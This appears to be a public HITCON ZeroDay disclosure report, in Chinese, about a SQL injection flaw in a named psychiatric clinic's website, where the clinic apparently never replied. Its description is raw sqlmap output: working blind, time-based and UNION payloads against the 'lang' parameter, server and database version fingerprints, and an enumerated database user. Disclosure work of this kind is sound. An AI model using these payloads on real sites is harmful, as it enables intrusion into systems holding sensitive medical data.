Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00816
- 發信 Vendor: 欣美精神科診所
- Title: 欣美精神科診所網站存在SQL-Injection漏洞
- Introduction: 網站存在SQL-Injection漏洞
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/06/01 01:25:16 : 新提交 (由 傳說中的廢人 更新此狀態)
- 2018/06/02 01:00:27 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/06/10 22:29:09 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/06/10 22:29:09 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/06/10 22:29:09 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/08/01 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID：ZD-2018-00816
- 通報者：elijiachen (傳說中的廢人)
- 風險：中
- 類型：資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
sqlmap resumed the following injection point(s) from stored session:
Parameter: lang (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: lang=zh' AND 7524=7524 AND 'Laqj'='Laqj&pk=32
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: lang=zh' AND (SELECT * FROM (SELECT(SLEEP(5)))rqdc) AND 'YSug'='YSug&pk=32
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: lang=-4704' UNION ALL SELECT CONCAT(0x716b767a71,0x785a744253714e494b77737a6e596479675a6a6f665a4e51456c4870797069426471676455717152,0x7178706a71)-- -&pk=32[INFO] the back-end DBMS is MySQL
web server operating system: Linux Red Hat Enterprise 5 (Tikanga)
web application technology: Apache 2.2.3, PHP 5.2.17
back-end DBMS: MySQL 5.0.12
[INFO] fetching database users
[INFO] heuristics detected web page charset 'ascii'
[WARNING] reflective value(s) found and filtering out
[WARNING] the SQL query provided does not return any output
[WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[INFO] fetching number of database users
[WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[INFO] retrieved: 1
[INFO] retrieved: 'userghyang'@'%'
database management system users [1]:
[*] 'userghyang'@'%'